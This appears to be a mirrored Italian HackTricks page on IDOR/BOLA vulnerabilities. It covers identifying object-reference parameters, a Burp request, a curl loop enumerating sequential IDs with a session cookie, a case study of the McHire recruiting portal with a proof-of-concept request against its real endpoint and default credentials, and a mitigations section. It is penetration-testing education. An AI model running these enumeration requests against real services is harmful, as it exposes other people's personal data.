mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
85 lines
4.6 KiB
Markdown
85 lines
4.6 KiB
Markdown
# IDOR (Insecure Direct Object Reference)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API rivela o accetta un identificatore controllabile dall'utente che viene utilizzato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto.
|
||
Lo sfruttamento riuscito consente normalmente l'escalation dei privilegi orizzontale o verticale, come la lettura o la modifica dei dati di altri utenti e, nel peggiore dei casi, il completo takeover dell'account o l'exfiltrazione di massa dei dati.
|
||
|
||
---
|
||
## 1. Identificazione dei potenziali IDOR
|
||
|
||
1. Cerca **parametri che fanno riferimento a un oggetto**:
|
||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* Query: `?id=42`, `?invoice=2024-00001`
|
||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||
* Headers / Cookies: `X-Client-ID: 4711`
|
||
2. Preferisci gli endpoint che **leggono o aggiornano** i dati (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||
3. Nota quando gli identificatori sono **sequenziali o prevedibili** – se il tuo ID è `64185742`, allora `64185741` probabilmente esiste.
|
||
4. Esplora flussi nascosti o alternativi (ad es. *"Paradox team members"* link nelle pagine di login) che potrebbero esporre API aggiuntive.
|
||
5. Usa una **sessione autenticata a basso privilegio** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è solitamente un segno di IDOR.
|
||
|
||
### Quick manual tampering (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### Enumerazione automatizzata (Burp Intruder / ciclo curl)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
## 2. Studio di Caso Reale – Piattaforma Chatbot McHire (2025)
|
||
|
||
Durante una valutazione del portale di reclutamento **McHire** alimentato da Paradox.ai, è stato scoperto il seguente IDOR:
|
||
|
||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||
* Autorizzazione: cookie di sessione utente per **qualsiasi** account di test ristorante
|
||
* Parametro del corpo: `{"lead_id": N}` – identificatore numerico **sequenziale** di 8 cifre
|
||
|
||
Riducendo `lead_id`, il tester ha recuperato PII **completa** di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) più un **JWT** del consumatore che consentiva il furto di sessione. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto circa **64 milioni** di record.
|
||
|
||
Richiesta di Proof-of-Concept:
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||
|
||
---
|
||
## 3. Impatto di IDOR / BOLA
|
||
* Escalation orizzontale – leggere/aggiornare/eliminare i dati di **altri utenti**.
|
||
* Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate agli admin.
|
||
* Violazione di massa dei dati se gli identificatori sono sequenziali (es. ID dei candidati, fatture).
|
||
* Presa di controllo dell'account rubando token o reimpostando le password di altri utenti.
|
||
|
||
---
|
||
## 4. Mitigazioni e Migliori Pratiche
|
||
1. **Imporre l'autorizzazione a livello di oggetto** su ogni richiesta (`user_id == session.user`).
|
||
2. Preferire **identificatori indiretti e non indovinabili** (UUIDv4, ULID) invece di ID auto-incrementali.
|
||
3. Eseguire l'autorizzazione **lato server**, non fare mai affidamento su campi di modulo nascosti o controlli UI.
|
||
4. Implementare controlli **RBAC / ABAC** in un middleware centrale.
|
||
5. Aggiungere **limitazione della velocità e logging** per rilevare l'enumerazione degli ID.
|
||
6. Testare la sicurezza di ogni nuovo endpoint (unità, integrazione e DAST).
|
||
|
||
---
|
||
## 5. Strumenti
|
||
* **Estensioni di BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||
* **Progetti Github**: `bwapp-idor-scanner`, `Blindy` (caccia IDOR in massa).
|
||
|
||
## Riferimenti
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
{{#include ../banners/hacktricks-training.md}}
|